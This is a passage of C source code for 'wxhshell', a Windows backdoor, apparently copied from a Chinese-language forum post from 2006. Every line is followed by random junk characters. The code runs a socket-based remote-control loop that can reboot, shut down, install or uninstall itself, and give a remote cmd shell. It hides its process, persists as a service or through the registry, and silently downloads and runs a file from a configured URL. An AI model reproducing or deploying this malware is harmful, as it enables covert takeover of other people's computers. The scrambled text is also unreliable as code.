  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z 0?MeH#  
  } &* VhtT?=5  
  else { >!fTWdD^  
B&MDn']fV/  
    switch(cmd[0]) { W? G4>zA  
  J_)F/S!T  
  // 帮助 Te+#  
  case '?': { K3zY-yIco  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3~sV-  
    break; [Q T ;~5  
  } ) 8xbc&M  
  // 安装 |;J`~H"K  
  case 'i': { 1feVFRx'  
    if(Install()) Sstz_t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BsA4/Bf  
    else Bl>m`/\1i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;1~n|IY  
    break; nKE^km  
    } 5%TSUU+<I  
  // 卸载 &&;.7E  
  case 'r': { s(X\7Hz_nC  
    if(Uninstall()) `C4(C4u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >:.c?{%g*  
    else ^2 dQVV.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ftn10TO*  
    break; @0@WklAJA  
    } /R|?v{S1  
  // 显示 wxhshell 所在路径 Da<`| l  
  case 'p': { Csu9u'.V  
    char svExeFile[MAX_PATH]; U/Cc!WXV]  
    strcpy(svExeFile,"\n\r"); dsX"S;`v  
      strcat(svExeFile,ExeFile); Lum=5zDo  
        send(wsh,svExeFile,strlen(svExeFile),0); B/16EuH#  
    break; ;-JF1p7;  
    } :"y2u   
  // 重启 h7eb/xEto  
  case 'b': { RSAGSGp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $\m:}\%p  
    if(Boot(REBOOT)) h8WM4 PK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X!V#:2JY  
    else { GYtgw9 "Y  
    closesocket(wsh); 0=+feB1T  
    ExitThread(0); z$ QoMq]  
    } }#<Rs  
    break; SOPair <r  
    } hc W>R  
  // 关机 zSA"f_e  
  case 'd': { Q)E3)),  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [VX5r1-F  
    if(Boot(SHUTDOWN)) 0`pCgF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <XrXs  
    else { e6*,MnqBh  
    closesocket(wsh); |Fx *,91  
    ExitThread(0); xm=Gt$>.o  
    } sw9ri}oc  
    break; 6lpJ+A57#  
    } n"?*"Ya  
  // 获取shell ~|<'@B!6  
  case 's': { a?ete9Q+  
    CmdShell(wsh); T: My3&6  
    closesocket(wsh); C6gp}%  
    ExitThread(0); (-J'x%2)  
    break; aY4v'[  
  } X#by Dg  
  // 退出 mCn:{G8+  
  case 'x': { .Tl,Ek(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~zZOogM<  
    CloseIt(wsh); M]%dFQ  
    break; ;[4=?GL*  
    } Fsl="RB7f  
  // 离开 O=LW[h!  
  case 'q': {  Mp js  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [zl4"|_`  
    closesocket(wsh); 'Jek< 5  
    WSACleanup(); !5'4FUlJ  
    exit(1); s3sD7 @  
    break; cD9U ^SOS  
        } w3VgGc~  
  } Ugo!  
  } k{{ Y2B?C  
AcJrJS)~  
  // 提示信息 HS*Y%*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .(8 V  
} u)zv`m  
  } tYgHJ~1L*  
DBGU:V,85  
  return; o; 6^:  
} 4C?4M;  
oP T)vN?  
// shell模块句柄 ?x 0gI   
int CmdShell(SOCKET sock) $v_&j E  
{ n2_;:=  
STARTUPINFO si; #%%!r$UL  
ZeroMemory(&si,sizeof(si)); ?v:FGO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M*cF'go  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FbMtor  
PROCESS_INFORMATION ProcessInfo; y5KeUMcu  
char cmdline[]="cmd"; LRaO}-<b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e?7NW  
  return 0; :,yC\,H^  
} >\~Er@  
"*`!.9pt  
// 自身启动模式 2z$!}  
int StartFromService(void) hwvitD!0  
{ }(DH_0  
typedef struct -ON-0L  
{ 2( I4h[  
  DWORD ExitStatus; m8 _yorz  
  DWORD PebBaseAddress; M/lC&F(  
  DWORD AffinityMask; @+~>utr  
  DWORD BasePriority; y$di_)&g  
  ULONG UniqueProcessId; eB_r.R{  
  ULONG InheritedFromUniqueProcessId; +*`kJ)uP  
}   PROCESS_BASIC_INFORMATION; K;Hgq4  
1R yE8DdP  
PROCNTQSIP NtQueryInformationProcess; gH,Pz  
h 2JmRO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xCWS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f.%3G+  
+Q"~2_q5/;  
  HANDLE             hProcess; $;$vcV9*  
  PROCESS_BASIC_INFORMATION pbi; jAcKSx$}y"  
Q`.q,T8I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r| ]YS6  
  if(NULL == hInst ) return 0; WrRY 3X  
BHU$QX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /ece}7M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IG\Cj7{K^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aO(iKlZ$  
t,r:= '  
  if (!NtQueryInformationProcess) return 0; N(yd<M w  
vf#d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \et2aX !  
  if(!hProcess) return 0; 0WKS  
4^YE*6z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cX4]ViXSr  
K1R?Qt,qDF  
  CloseHandle(hProcess); 9c*B%A8J  
")txFe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9LBZMQ  
if(hProcess==NULL) return 0; Dm}M8`|X  
zkqn>  
HMODULE hMod; z%T|L[(6  
char procName[255]; E`@Z9k1 `  
unsigned long cbNeeded; 3O Ks?i3A  
T>b"Gj/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zo^]y'  
'/X]96Ci7  
  CloseHandle(hProcess); !J!&JQ|  
_emW#*V  
if(strstr(procName,"services")) return 1; // 以服务启动 h<>yzr3fN  
9;\mq'v%  
  return 0; // 注册表启动 wD$UShnm9-  
} =O8>[u;  
}(XKy!G6  
// 主模块 8HZ+r/j  
int StartWxhshell(LPSTR lpCmdLine) x H=15JY1W  
{ d:^B2~j  
  SOCKET wsl; H[OgnnM  
BOOL val=TRUE; IoK/2Gp  
  int port=0; eV(9I v[  
  struct sockaddr_in door; 0b n%L~KU  
GP %hf{  
  if(wscfg.ws_autoins) Install(); |#SZd Xg  
v@M^ukk'}  
port=atoi(lpCmdLine); /K1cP>oE  
h7T),UL  
if(port<=0) port=wscfg.ws_port; L1DH9wiQi  
vp*+C kd  
  WSADATA data; ;b1B*B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i`+bSg  
z5~W >r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f.66N9BHL,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :-Py0{s  
  door.sin_family = AF_INET; dVHbIx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R1w5,Zt  
  door.sin_port = htons(port); :{lP9%J-  
+w?R4Sxjn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IPYwUix  
closesocket(wsl); M;OMsRCVO  
return 1; 5E~^-wX  
} SZ$WC8AX  
v3XM-+Z4  
  if(listen(wsl,2) == INVALID_SOCKET) { z,^~H  
closesocket(wsl); ) < U9  
return 1; c>>.>^5  
} ]cmX f  
  Wxhshell(wsl); uZ JfIC<>  
  WSACleanup(); g|$;jQ\_  
\M._x"  
return 0; ybJwFZ80  
ez*QP|F*9  
} t:vBVDkD  
Sx e6&  
// 以NT服务方式启动 #qDm)zCM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !d!u{1Y&  
{ pPo xx"y  
DWORD   status = 0; cgQ6b.  
  DWORD   specificError = 0xfffffff; Myiv#rQ)  
4G&dBH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iT,7jd?6#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2E!~RjxSY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; btq 4diW  
  serviceStatus.dwWin32ExitCode     = 0; nQ_{IO8/6W  
  serviceStatus.dwServiceSpecificExitCode = 0; 3z2 OW@zL$  
  serviceStatus.dwCheckPoint       = 0; 6(4d3}F  
  serviceStatus.dwWaitHint       = 0; 6X m'^T  
:N$-SV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r-.@MbBm  
  if (hServiceStatusHandle==0) return; h"0)spF"d  
u5glKE  
status = GetLastError(); "opMS/a"7  
  if (status!=NO_ERROR) dpNERc5  
{ p@4GI[4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zhFm2  
    serviceStatus.dwCheckPoint       = 0; fbOqxF"?we  
    serviceStatus.dwWaitHint       = 0; ) =29Hm"  
    serviceStatus.dwWin32ExitCode     = status; rZaO^}u]  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^rP]B-)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +s"6[\H1d  
    return; S**eI<QFSk  
  } @v#P u_  
b7Zo~ Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Ez, GAk  
  serviceStatus.dwCheckPoint       = 0; $#u'XyA  
  serviceStatus.dwWaitHint       = 0; ,bd jk(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5h6o}  
} h3k>WNT7  
DHw)]WB M  
// 处理NT服务事件,比如:启动、停止 G--X)h-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 15<? [`:6  
{ Y-YuY  
switch(fdwControl) [p`5$\e  
{ \'*M }G  
case SERVICE_CONTROL_STOP: K SO D(  
  serviceStatus.dwWin32ExitCode = 0; x6s|al  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <]LljTm`i  
  serviceStatus.dwCheckPoint   = 0; $Emu*'  
  serviceStatus.dwWaitHint     = 0; e}d(.H%l0  
  { u ij^tN%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RLnL9)`W  
  } !+^'Ej)z  
  return; Y`bTf@EP>  
case SERVICE_CONTROL_PAUSE: ZqVbNIY   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'OziP  
  break; d`B<\Y#{Us  
case SERVICE_CONTROL_CONTINUE: p T8?z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *$NZi*z3  
  break;  xV5UaD<  
case SERVICE_CONTROL_INTERROGATE: y3s+.5;  
  break; RE%f'y  
}; KBN% TqH|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {.{Wl,|7  
} |9c~kTjK  
#H>{>0q  
// 标准应用程序主函数 bP 9ly9FH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @3O)#r}\  
{ `!HD. E[2c  
"Nj/{BU  
// 获取操作系统版本 4r1\&sI$~  
OsIsNt=GetOsVer(); D @*<O=_D(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f;zNNx< ;  
m3lz#Pm'0  
  // 从命令行安装 .=#j dc/  
  if(strpbrk(lpCmdLine,"iI")) Install(); @>(KEjQTz  
&9#m] Mz  
  // 下载执行文件 6- i.*!I 8  
if(wscfg.ws_downexe) { YoKyiO!   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +)jll#}?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1w^wa_qx  
} fj5 g\m  
$El-pMq  
if(!OsIsNt) { 5h#h>0F  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;X,u   
HideProc(); "[|b,fxR  
StartWxhshell(lpCmdLine); e}e8WR=B  
} fq6%@M~  
else == 5F[UX  
  if(StartFromService()) }bjZeh.  
  // 以服务方式启动 FoyYWj?,R  
  StartServiceCtrlDispatcher(DispatchTable); 3N+lWuE}K  
else cj8cV|8@  
  // 普通方式启动 m,E$KHt (  
  StartWxhshell(lpCmdLine); +JU , ^A#X  
Lqj Qv$  
return 0; U4pIRa)S  
}
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只看该作者 1 发表于: 2006-10-10
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